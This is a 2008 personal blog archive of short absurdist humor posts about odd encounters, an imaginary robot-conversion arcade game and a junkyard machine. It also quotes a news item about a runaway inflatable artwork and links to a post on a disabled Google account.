"Every single one," he said, and I was ready to punch him.

Then he said, "I come to the chiropractor's office to correct the creepy shivering hatred in my own spine, induced by my grating innuendo-plagued voice. But, you know, it's a living."

I was thinking of challenging him to a duel, but we ended up racing remote-control helicopters instead.

Thanks, Sneering Political Voice-Over Guy! I had fun too.

Stimulus

2008-08-14T02:57:07+00:00

I went to see a movie today. One of those summery movies, that busts blocks.

Outside the theatre were two Caucasian men, maybe in their late forties, sitting in chairs. One of them had a huge stack of money. Like ten thousand dollars. The other had a wooden stick. They kept trading them back and forth.

"What are you doin'?" someone else asked as I passed by.

"We're raising the Gross Domestic Product to boost the economy. We pooled out savings to do this, but after a few hours we've each sold fifteen million dollars worth of raw materials! If everyone did this, we'd be out of this recession in no time at all!"

And, you know, that's true. But they're going to have to pay a lot of taxes.

merovingian @ 2008-08-12T22:53:00

2008-08-13T05:54:35+00:00

The strung-about bales of barbed wire fence looks like a tangle heap but it isn't; that's palladium in the middle of that metal, and the whole thing is a high-fidelity ArcNet circuit. The barbed wire connects the old telegraph wires to the PHP-driven servomotors that control the old rusty Depression-era tractors. The dim-lit jukebox doesn't play anything but old scratchy recordings of Shakespeare plays, it's true, but it's hardly random. Moisture, temperature, and pheromone sensors extrapolate the emotional state of everyone within earshot, and the neural network that drives the jukebox picks the play, act and scene that you need to hear.

Do you understand? The Great Machine wants to be built.

The pattern of the gnat clouds is far from random; those little brats are massively parallel coprocessors, plotting vectors for the satellite-trackers hidden inside the abandoned refrigerator farm. Inside that old moonshine still is a reactor that runs on clean "desktop" cold fusion.

Do you understand? This junkyard is a paradise.

The scarecrow out there is an inductive magnetic reader-projector. Wear his threadbare hat and wait - you'll feel yourself flying in the body of the next bird that lands on his shoulder.

Do you understand? We can rest easy on these patches of brown grass.

The rust on the combines is a superfood. The disintegrating wooden fence is a weather control console. Those mouldy sock monkeys in the corner are loaded with antibiotics. The river mill is putting benign femto-organisms in the water supply. The weather-vane rooster is collecting news information from the wireless networks and aggregating it into broad social trends. The old out-house with the moon on the door is a hypno-training chamber.

Do you understand? Every part of this place has been wired together. Come visit me here.

The Great Machine should be built, I tell you.

Giant Flying Dog Turd Causes Problems, Somewhat Predictably

2008-08-13T01:15:48+00:00

I like that it happened almost two weeks ago, but details "emerged" only yesterday. Like people were afraid to talk about it, maybe. "There was this... it looked like... uh.... it smashed... um." http://www.guardian.co.uk/world/2008/aug/12/3 'A giant inflatable dog turd created by the American artist Paul McCarthy was blown from its moorings at a Swiss museum, bringing down a power line and breaking a window before landing in the grounds of a children's home. The exhibit, entitled Complex Shit, is the size of a house. It has a safety system that is supposed to deflate it in bad weather, but it did not work on this occasion. Juri Steiner, the director of the Paul Klee centre, in Berne, told AFP that a sudden gust of wind carried it 200 metres before it fell to the ground, breaking a window of the children's home. The accident happened on July 31, but the details only emerged yesterday.'

I shall, too

2008-08-12T04:19:02+00:00

MacArthur surveys the beachhead on Leyte Island, 1944

I came out of Bataan and I shall return.

Douglas MacArthur, Terowie, Australia, 1942

Two years later.

2008-08-12T03:05:53+00:00

I'd like answers, please!

View Poll: #1239081

merovingian @ 2008-08-10T21:25:00

2008-08-11T04:26:33+00:00

I finally got my furniture-communicator working today, but all the furniture seems to do is complain, complain, complain.

I'd assumed furniture was more stoic than that. I guess I'd have been better off not knowing.

Oops, sorry, you too, I guess.

Gratitude for a Fortunate Childhood

2008-08-10T00:00:52+00:00

I went to the arcade this afternoon and it felt a lot smaller than I remember. It isn't, of course -- I'm taller now -- but it makes me grow wistful for the never-quite-forgotten days of childhood.

My memories of the video arcade are probably like yours: I went there often but never nearly enough. I resisted the temptation of the flashy games that hyped some user-interface gimmick but only delivered ripoffs. Before I started to learn a new game, I watched other people play for a while to see if it seemed worth the effort and the hard-begged money.

Usually I'd just play the games I knew best. At various times, these were: Burgertime, Spy Hunter, Gauntlet, Marvel Superheroes, Street Fighter 2 (Blanka 4 Lyfe Yo!), the Lethal Weapon 3 pinball game, Area 51, and of course Becoming a Robot.

You probably don't know that last one -- only my local arcade had it. At the time, I didn't know it was anything but one of many delightful distractions. I'd watch my older brothers play it, or just random arcade whiz-kids, and eventually I tried it myself when no one was watching, sinking quarters into skills so that later my quarters would yield the sweeter fruits of pride and engagement.

(Much later, I discovered that the basketball-ticket games weren't a rip-off if you learned them, and I actually started winning prizes for my quarters, but that was much later. The dangerous, maddening things I won with those tickets are another story entirely, and perhaps if you bake me some baklava I'll tell you. Today, though, I'm talking about Becoming a Robot.)

You might have guessed what the Becoming a Robot really was. I found out the awesome way. Those chiming pellucid abstract shapes mixed and matched in deceptively simple patterns, forming gems and secrets and eventually circuits. The more you played the game, the more you saw the world in that same peculiar idiom. The more you thought like the game did, the more your internal organs would convert into hyperefficient robotic analogs.

The changes were surprisingly subtle, never visible to a casual observer. You wouldn't feel any different until you were more than 50% converted. In fact, a skilled doctor probably wouldn't notice a difference much earlier than that. The brain was last, and by the time your brain conversion was complete, you were programmed, fully loyal to the video game's creator company and (presumably) some nameless overarching conspiracy.

By that time, you would also be awesome at the game and everyone would like you.

At the first sign of behavior changes, my parents stepped in and stopped me. They were unaware of the complex physiological changes; they just noticed my slipping grades and worsening table manners. At the time I screamed and railed at the unfairness of it, but now I'm grateful for it: I was never drawn into the shadowy agenda of that robot company, and I still got all the awesome robotic internal organs.

And now I go back there and the arcade seems so much smaller, but of course it's just that I'm taller now. I resisted the call of Becoming a Robot today, but I played a quarter on Burgertime. I got my initials on the top score list, but I didn't get anywhere near my adolescent personal best.

merovingian @ 2008-08-08T20:21:00

2008-08-09T05:08:43+00:00

There is a rhythm to it, clip-clop, clip-clop, like a million penguins in tap shoes all marching together, so close to a perfect beat that every little flaw just makes it more crisp, chickity-chick chickity-chick, just like that.

And the the fires start, and everyone just forgets everything and tears ats their clothes, and smears their faces and chests with mud, and runs down, and just starts just screaming, hands in the air or fingers in the ground, all thump-a thump-a hoo-a, thump-a thump-a hoo-a!

And we're all connected to it and there's a rhytm to it, ancient and animal, hungry for expression, mad and wailing, intense enough that the heartbeat is right there and the mind is far far away, eyes red and too wide, black suns in a sea of deep purple blue, clip-clop clip-clop, chickity-chick, chickity-chick, and with every beat we forget something and we remember something with every step, and we wonder how we ever lived without it.

At least, that's what my dentist's office is like.

Vision

2008-08-08T01:01:16+00:00

Today, I figured out how to reverse the direction of narration and vision. I can see you through your screen right now. Here, I'm waving at you right now - wave back!

After that I had some soup. I guess this is a sign that I'm living my life right.

merovingian @ 2008-08-06T14:16:00

2008-08-06T21:20:41+00:00

I had lunch at one of those highly-falluting places, with the fancy napkins and lamps and candles and whatnot.

The restaurant was such a vision of luxury and privilege that it took me a while to see the sign by the maitre's podium:

YOUR COMPLETE SATISFACTION
IS OUR ONLY PURPOSE
IF YOU ARE DISSATISFIED IN ANY WAY
NO MATTER HOW MINISCULE
PLEASE LET US KNOW
AND WE WILL KILL OURSELVES
AND YOU

Does being terrified count as dissatisfaction? I sure hope not.

merovingian @ 2008-08-05T19:02:00

2008-08-06T02:18:35+00:00

I'm in the airport now, looking for the non-denominational chapel. My people tell me they stored a book there.

And in the book there are rhymes and songs. Steganography, of course. The tunes, written out with the right notation, detail an algorithm that will turn vodka bottles into people and predict the tides of future corporate acquisitions.

My people tell me there's a manticore there, but it must be disguised to get past security, so who knows what form it may take? I can't walk in suspicious of every chair, window and prayer mat, so I think I'll need to find some way to lure it out.

My people say that manticores love the taste of vodka, but I don't really believe that. Why would a manticore love vodka?

So now I'm playing it by ear, listening to the overhead airport music for clues, checking out the mini-museums, Maybe I'll see the manticore before it sees me. Maybe I'll notice the book quickly.

Look, I'm a perl scripter, okay? Nobody told me I'd need a keen sense of vision for this job.

When Google owns you

2008-08-06T01:42:59+00:00

http://www.chrisbrogan.com/when-google-owns-you/

Nick Saber isn’t happy now. Monday afternoon, after lunch, Nick came back from lunch to find out that he couldn’t get into his Gmail account. Further, he couldn’t get into anything that Google made (beside search) where his account credentials once worked. When attempting to log in, Nick got a single line message:

Sorry, your account has been disabled. [?]…

[via chrisbrogan.com ]

Technorati Tags: google